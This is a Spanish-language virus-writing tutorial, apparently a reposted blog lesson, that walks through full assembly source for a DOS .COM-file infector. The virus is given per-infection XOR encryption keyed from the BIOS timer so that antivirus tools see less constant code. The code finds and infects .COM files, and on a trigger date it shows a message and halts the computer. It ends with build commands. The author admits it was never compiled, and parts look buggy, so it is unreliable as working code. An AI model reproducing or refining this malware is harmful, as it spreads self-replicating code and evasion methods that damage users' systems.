Bueno,bueno,bueno ... Tenemos aquí un bonito virus, ¿qué podemos hacer
para mejorarlo un poco?. Pues vamos a encriptarlo.
Y además lo vamos a encriptar cada vez con un valor diferente, que
cogeremos de un contador que tiene el Bios (el bios cuenta el número de
tics de reloj a partir de las 12).
¿qué porqué encriptamos con un valor variable?.Pues fácil, si encriptamos
cada vez con un valor diferente ,la parte del virus que permanece
constante con cada infección será mínima(sólo la rutina de desencriptación).
Actualmente hay más sofisticadas técnicas para que se reduzca el codigo
invariante del virus, se trata del POLIMORFISMO que se basa en encriptar
según un número aleatorio y modificar cada vez la rutina de desencriptación.
Pero basta de rollos, vamos a explicar un poco eso de la encriptación.
Utilizaremos una encriptación xor ,esta encriptación tiene una cualidad
muy interesante y es que la rutina de desencriptación y la de encriptación
es la misma. Fijaos que si realizamos un xor a un número con el valor 5
(por ejemplo) ,obtenemos otro número diferente , pero si volvemos a aplicar
la función xor con el valor 5 obtenemos el valor que teníamos al principio.
Nota: La función A xor B es cierto si A es cierta y B no o si A es falsa y
B cierta.
Supongamos ahora que tenemos un byte del virus 11011010 y que encriptamos
según el valor del timer 00100111
Valor encriptado Valor desencriptado
---------------- -------------------
11011010 xor 00100111 = 11111101 xor 00100111 = 11011010
Tened en cuenta que a hay muchas posibilidades de encriptación
pero no siempre la función de encriptado es igual a la de desencriptado
como pasa con la xor, tomad algunos ejemplos:
Función de encriptación Función de Desencriptación
----------------------- --------------------------
add .................................... sub
sub .................................... add
xor .................................... xor
ror .................................... rol
rol .................................... ror
inc .................................... dec
dec .................................... inc
not .................................... not
La estructura es muy simple cuando el virus toma el control
llama a una rutina de desencriptación y ésta desencripta el codigo
del virus( lee el byte del timer que lo tenemos almacenado en una
variable dentro del codigo y con ese valor pasamos la función xor
a cada byte del virus).
------------------
| jmp virus |
------------------
| codigo del |
| hoste |
------------------
| virus: |
| Rutina de |
| desencriptación|
-------------------
| virus |
| encriptado |
-------------------
Pero que coño pasa , aquí hay un problema.¿cómo vamos a dar el control
a una rutina de desencriptación si no tenemos el virus encriptado
todavía?.Aquí viene lo divertido del asunto. En el archivo que vamos
a crear, no haremos un jmp START como hicimos en el ejemplo anterior
haremos jmp Encryptor, siendo Encryptor una etiqueta que indica el
comienzo a una rutina de encriptación que colocaré al final del
virus. Fijate bien que la coloco después de la etiqueta 'fin'.
Esto és porque la rutina sólo tiene que funcionar en el archivo
que creamos nosotros(ya que no tiene todavía el codigo encriptado)
,de este modo esa rutina no se copiará en las sucesivas infecciones.
El metodo de infección es ligeramente diferente, ya que hemos de
encriptar primero el virus y luego añadirlo al archivo. Por ello
copio el codigo del virus textualmente al final del propio virus
,all¡ lo encripto y de all¡ lo llevo al final del archivo.
Atención a las modificaciones del virus anterior...
longitud equ fin-start
zona_encrypt equ offset zona_end-offset zona_start
comienzo equ offset zona_start-offset start
Hallado la constante zona_encrypt para definir la cantidad de bytes
a encryptar(que no es igual a la longitud del virus, porque la rutina
de desencriptación obviamente no se encripta).
La variable comienzo la utilizo para direccionar la zona a encriptar
cuando muevo el virus para encriptarlo.
code segment 'code'
assume cs:code,ds:code,es:code
org 100h ;empiezo en 100
hoste: jmp encryptor ;esto es un hoste simulado
int 20h ;con esto salgo al DOS
Fijaos que en vez de saltar a Start salto a encryptor para encriptar
el código del virus antes de pasar el control a la rutina de desencriptación
start: push bp
call alli ; busco la ip de inicio
alli: pop bp ; para que la variables no
sub bp,offset alli ; aparezcan corridas :-)
push cs
push cs
pop ds
pop es
push ax ;
push bx ;
push cx ; APILO LOS REGISTROS
push dx ;
push di ;
push si ;
*********** Rutina de desencriptación **********************
Tened en cuenta que hemos de hallar en bp el desplazamiento
antes de la rutina de desencriptación , ya que esta rutina
si que se ejecuta en cada archivo contaminado.
mov cx,zona_encrypt ;en cx el numero de bytes
xor di,di ;a encriptar
mov ax,byte ptr [valor]
mas: xor byte ptr [zona_start+di],ax
inc di
dec cx
je mas
No voy a explicar la rutina ya que es la misma que la rutina
de encriptación
************ antención que aqu¡ empieza la zona encriptada *******
zona_start: cld
mov cx,3d ;en cx el numero de bytes a mover
mov di,100h ;muevo de ds:si ->es:di
lea si,bp+cab_ORIG ;es decir de la variable cab_ORIG a 100h
rep movsb
mov ah, 02h
int 21h
cmp dh, 2d ;compruebo si el més es 2
jne noactivo
cmp dl, 19d ;compruebo si el día es 19
jne noactivo
mov ax,0900h ;aparece el mensaje en pantalla
lea dx,bp+mensaje ;si es 19 del 2 sino se salta a noactivo
int 21h
hlt ;cuelgo el ordenata
noactivo:
mov ah,4eh ;
lea dx,bp+file_cont ;
mov cx,00000000b ; BUSQUEDA DEL ARCHIVO
int 21h ;
otro: mov ah,4fh
int 21h
jb salir ;salto si no quedan más archivos
;con extensión com
mov ax, 3d00h ;abro el archivo para lectura
mov dx, 009eh
int 21h
mov bx,ax ;guardo el handel
mov ax,4200h ;muevo el puntero al principio
mov cx,0000h
mov dx,0000h
int 21h
mov cx,3h ;longitud a copiar
lea dx,[bp+cab_Orig] ;dirección donde se copiará
mov ah,3fh ;función de lectura
int 21h
mov ah ,3eh ;cierro el archivo
int 21h
cmp byte ptr [bp+cab_ORIG],0E9h ;si empieza con un jmp
je otro ;no lo contamina y busca otro
mov ax, 3d02h ;abro el archivo para r/w
mov dx, 009eh
int 21h
mov word ptr ds:[bp+handel],ax ;guardo en handel en la variable
mov bx,ax ; guardo en bx el handle del archivo
mov cx, 2h
mov si,009Ah
lea di,[bp+cabecera+1]
rep movsb
sub word ptr [bp+cabecera+1],3
mov ax,4200h ;muevo el puntero al principio
mov cx,0000h
mov dx,0000h
int 21h
mov ah,40h ;escribo los nuevos 3 bytes
mov cx,3h ;que tendrá el archivo
lea dx,bp+cabacera
int 21h
Ahora que he escrito la nueva cabecera he de mover el código del virus
y encriptarlo antes de ejecutar la int 21 función 40 para copiar
el virus al final.
xor ax,ax
int 1Ah
mov al,dl ;sólo leo el valor menos
mov byte ptr [bp+valor],al ;significativo ya que sólo
;necesito un byte
Aquí obtengo el valor del timer con la int 1ah y lo guardo en la
variable valor para que lo pueda utilizar luego la rutina
de desencriptado.
cld
lea si,bp+start ;copio el virus a otra parte
lea di,bp+Encrypt_buf ;para encriptarlo
mov cx,longitud ;ds:si -> es:di
rep movsb
mov cx,zona_encrypt ;en cx el numero de bytes
xor di,di ;a encriptar
mov ax,byte ptr [valor]
otro_byte: xor byte ptr [bp+Encrypt_buf+comienzo+di],ax
inc di
dec cx
je otro_byte
Con esto encripto el virus (que lo he movido a Encrypt_buf)
mov ax,4202h ;muevo el puntero al final
mov cx,0000h
mov dx,0000h
int 21h
mov ah,40h
mov cx,longitud ;en cx el número de bytes a copiar
lea dx,bp+Encrypt_buf ;pues la longitud del archivo
int 21h ;que va a ser
Fijate aqu¡ que no empiezo a copiar en Start sino en Encrypt_buf
donde está el virus con su zona correspondiente encriptada ;)
mov ah ,3eh ;cierro el archivo
int 21h
salir: pop si ;
pop di ;
pop dx ; DESAPILO LOS REGISTROS
pop cx ;
pop bx ;
pop ax ;
pop bp ;
mov ax,100h ;FELICIDADES YA HAS CONTAMINADO OTRO ARCHIVO
jmp ax
cab_ORIG db 090h,090h,090h
cabecera db 0e9h,00h,00h
handel dw 0
file_cont db '*.com',0
Mensaje db 'Ooooooohhhh!!! El virus ejemplo del web de',0ah,0dh
db 'Nigromante se ha activado.....',0ah,0dh
db ' ..... para desactivarlo consulten con',0ah,0dh
db ' nEUrOtIc cpU.',0ah,0dh
zona_end:
************ antención que acaba la zona encriptada *******
valor db 5h
encrypt_buf db 0 ;a part¡r de aquí escribo el código
;del virus para encriptarlo
fin label near
Ojo , a que la variable valor tiene que estar fuera de la zona
encriptada, si estuviera dentro como coño podrías desencriptar
luego el codigo.je,je,je.
Encryptor: push di ;apilo los registros utilizados
push cx ;por la rutina de desencriptación
push ax
push cs
pop ds
mov cx,zona_encrypt ;en cx el numero de bytes
xor di,di ;a encriptar
mov ax,byte ptr [valor]
mas: xor byte ptr [zona_start+di],ax
inc di
dec cx
je mas
Fijate que no necesito en esta rutina sumar a las variables
bp ya que esta rutina sólo se ejecutará en este archivo y no
se va a copiar en las demás infecciones.
En ax leo el contenido de la variable Valor(el valor del timer)
que en este archivo le he dado un 5h por poner algo.
Y con ese valor aplico la función xor a cada byte de la
zona encryptada.
pop ax ;desapilo los registros utilizados
pop cx
pop di
jmp start
Ahora si que salto a Start ,ya el virus está como toca,
rutina de desencriptación+codigo encriptado.
code ends
end start
Otra ventaja de la encriptación es que si habres el ejecutable con un editor de texto
(aunque para qué coño vas a querer abrirlo con un editor de texto) ya no se verá
el mensaje del virus.Lo que delataría claramente que el archivo está infectado.
Con esto finalizo la clase de encriptación ,
Para compilarlo simplemente hay que poner las instrucciones
en un mismo archivo(no se compilará con mis comentarios por
ah¡ je,je,je ;)).
Y escribir tasm archivo.asm
tlink /T archivo.asm
Bueno hasta el siguiente numero
Afectuosamente Nigromante
by nEUrOtIc cpU.
NOTA: No lo he compilado así que si hay errores los buscais.
Si hay alguna duda me escribis, fale?.
miércoles, 20 de febrero de 2013
CURSO-2
Suscribirse a:
Enviar comentarios (Atom)
0 comentarios:
Publicar un comentario